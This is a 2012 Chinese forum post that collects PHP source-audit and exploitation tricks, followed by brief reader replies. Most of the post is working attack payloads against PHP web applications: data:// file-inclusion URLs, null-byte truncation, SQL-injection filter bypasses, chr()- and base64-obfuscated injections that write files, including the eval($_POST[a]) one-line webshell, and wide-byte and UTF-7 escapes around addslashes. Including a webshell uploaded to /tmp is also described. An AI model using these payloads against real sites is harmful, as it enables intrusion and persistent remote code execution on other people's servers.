查看: 1766|回复: 25

一些php源码审计与利用技巧

[复制链接]
发表于 2012-12-12 03:05:49 | 显示全部楼层 |阅读模式
花了一些时间翻阅了wolvez中源码审计帖子,发现里面很多关于文件包含的漏洞,当然还有很多高级利用帖子。总体来说又扩充了一下关于php漏洞挖掘方面的思路,先总结如下:
1、文件包含
原来有介绍文件包含(http://www.ourren.com/blog/file- ... nto-the-use-of.html ),其实当时候总结的还不是很全,还有几点需要补充的。
查找思路:先找到哪些文件中include,require函数中包含有可控制的变量,然后看哪些文件包含了这个文件。
利用:
条件:在allow_url_include = On且PHP >= 5.2.0的条件下
利用的时候采用data://或者php://input是一个不错的选择

x.php?path=data://text/plain;base64,PD9waHBpbmZvKCk7Lyo=
x.php?path=data:;base64,PD9waHBpbmZvKCk7Lyo=
x.php?inc=data:;base64,PD9waHAgZWNobyBwaHBpbmZvKCk7Pz4=   //phpinfo()
截断方式:
%00(GPC开启时会转义)  长文件名(///////)
注:php5.3.4以后已经修复了%00漏洞

包含tmp文件夹下文件:
注上传一个webshell到/tmp文件夹下包含(../../../x.php)。

2、变量覆盖
条件:需要开启register_globals(php5.4已删除,见此文http://blog.ourren.com/2012/03/1 ... _safe-function.html ),有时候还可能会考虑GPC。
数组未初始化覆盖技巧蛮多的。
新认识的函数:parse_str

3、注入关键字过滤
‘    %2%277  过滤%27时,针对str_replace过滤关键字符,其他过滤方式结合具体情况
‘    %2527  针对urldecode()函数
空格  ()替代空格的方法绕过:union(select(password),2,3,4,5,6,7,8,9,0,1+from+[zt_admin])

4、文件写操作
两种比较好的利用代码:
字符写文件


hxxp://www.xxx.com/error.php?errid=1&errtitle=<?fputs(fopen(chr(119).chr(111).chr(108).chr(118).chr(101).chr(122).chr(46).
chr(112).chr(104).chr(112),chr(119).chr(43)),chr(60).chr(63).chr(112).chr(104).
chr(112).chr(105).chr(110).chr(102).chr(111).chr(40).chr(41).chr(59).chr(63).chr(62));?>
这样你在访问一次hxxp://www.xxx.com/data/error.php 后将得到 hxxp://www.xxx.com/data/wolvez.php 的测试文件
内容为<?phpinfo():?>l

双引号(base64)写文件,然后包含执行

http://${${fputs(fopen(base64_decode(ZmwucGhw),w),base64_decode(PD9waHAgQGV2YWwoJF9Q

T1NUW2FdKTsgPz4x))}}
上面这段代码是将 <?php @eval($_POST[a]); ?>1 到fl.php文件。利用base64_encode编码避免了使用单引号,所以无须考虑gpc的影响。注意,在字符串不包括 + =等特殊符号的情况下,base64_decode的参数是无须使用单引号或者双银引号的。

5、GPC绕过
$_SERVER数组不受GPC影响。
GPC与substr组合:有些地方经过GPC转义后,其他地方有可能用substr进行取值,这时候恰好把”去掉。
数据库(文本)中转:


[注意存入数据库和select出的数据]
用户输入===>gpcaddslashes()==========>数据库=========>执行sql语句include写入缓存文件
insertupdate                 select
编码:
UTF-7(+ACc-)===>gpcaddslashes()===>mb_convert_encoding()===>UTF-8(')
0xbf27===>gpcaddslashes()===>0xbf5c27===>执行sql语句[数据库编码支持多字节]
参考:

http://bbs.wolvez.org/viewtopic.php?id=20

http://www.xfocus.net/articles/200608/878.html

http://www.ourren.com/file-contains-the-summary-into-the-use-of.html

http://bbs.wolvez.org
[/td][/tr]
[/table]
发表于 2012-12-16 16:16:26 | 显示全部楼层
支持~~顶顶~~~  
发表于 2012-12-20 07:34:30 | 显示全部楼层
没人理我。。。。  
aiyo 该用户已被删除
发表于 2012-12-22 12:09:02 | 显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽
发表于 2014-11-5 00:54:31 | 显示全部楼层
哈哈,顶你了哦.  
发表于 2014-11-17 20:13:46 | 显示全部楼层
谁都不容易啊 ~~  
发表于 2014-12-5 07:46:41 | 显示全部楼层
呵呵,支持一下哈  
发表于 2014-12-28 12:29:58 | 显示全部楼层
说嘛1~~~想说什么就说什么嘛~~  
发表于 2015-1-28 11:11:58 | 显示全部楼层
不错,感谢楼主
发表于 2015-3-2 07:03:29 | 显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽
高级模式
B Color Image Link Quote Code Smilies

本版积分规则